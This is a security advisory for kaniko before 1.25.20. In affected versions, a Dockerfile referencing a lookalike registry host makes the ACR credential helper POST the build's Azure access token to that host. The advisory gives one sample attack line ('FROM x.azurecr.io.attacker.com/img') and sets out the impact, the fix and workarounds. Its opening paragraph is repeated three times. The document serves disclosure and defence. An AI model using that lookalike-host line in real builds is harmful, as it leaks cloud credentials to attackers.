kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

### Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as `FROM x.azurecr.io.attacker.com/img`, is enough. The build needs no `RUN` instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, `github.com/chrismellard/docker-credential-acr-env`. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone `docker-credential-acr-env` binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225). ### Who is affected You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity: - service principal credentials in the environment (`AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_TENANT_ID`) - a federated workload identity token (`AZURE_FEDERATED_TOKEN` or `AZURE_FEDERATED_TOKEN_FILE`, with `AZURE_CLIENT_ID` and `AZURE_TENANT_ID`), as injected by AKS workload identity - a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or `MSI_ENDPOINT` You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in `FROM` lines and images in `COPY --from=<image>`. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication. If your Docker `config.json` sets `"credsStore": "acr-env"`, the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon. ### Impact The helper puts the token in both the `Authorization: Bearer` header and the `access_token` form field of a POST to `https://<host>/oauth2/exchange`, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the `/oauth2/exchange` endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has `AcrPush` or higher, the attacker can push images to your registries. ### Patches Fixed in [v1.25.20](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20) by [#495](https://github.com/chainguard-forks/kaniko/pull/495). kaniko now carries a patched copy of the helper under `third_party/docker-credential-acr-env`, which the executor, the warmer and the `docker-credential-acr-env` binary built by `deploy/Dockerfile` all use. The patched helper accepts a host only if it is exactly `host[:port]` and the hostname is `mcr.microsoft.com` or a well-formed name ending in `.azurecr.io`, `.azurecr.cn`, `.azurecr.de` or `.azurecr.us`. For any other host it reports "credentials not found" without requesting a token. This repository publishes no binaries or images. Rebuild the executor, the warmer and `docker-credential-acr-env` from v1.25.20 or later. If you import kaniko as a Go module, update `github.com/chainguard-dev/kaniko` to v1.25.20 or later. From v1.25.20, kaniko no longer depends on `github.com/chrismellard/docker-credential-acr-env`, so scanners stop reporting GO-2026-6225 for it. ### Workarounds If you can't upgrade, don't let untrusted builds reach an Azure identity: - Remove Azure credentials, federated tokens, `MSI_ENDPOINT` and `MSI_SECRET` from the build environment, and block access to the Instance Metadata Service (`169.254.169.254`) from build pods. - If you don't rely on kaniko's built-in ACR authentication, set `AZURE_ENVIRONMENT` to a value that names no Azure cloud, such as `AZURE_ENVIRONMENT=none`, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it. Also, if you set `"credsStore": "acr-env"`, replace it with per-host `credHelpers` entries for your own ACR registries. On its own this closes only the standalone-binary path. If you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity's credentials does not revoke it. Review the identity's Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys. ### Credit Reported by Martin Zihlmann ([@mzihlmann](https://github.com/mzihlmann)) of osscontainertools.

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts in github.com/chainguard-dev/kaniko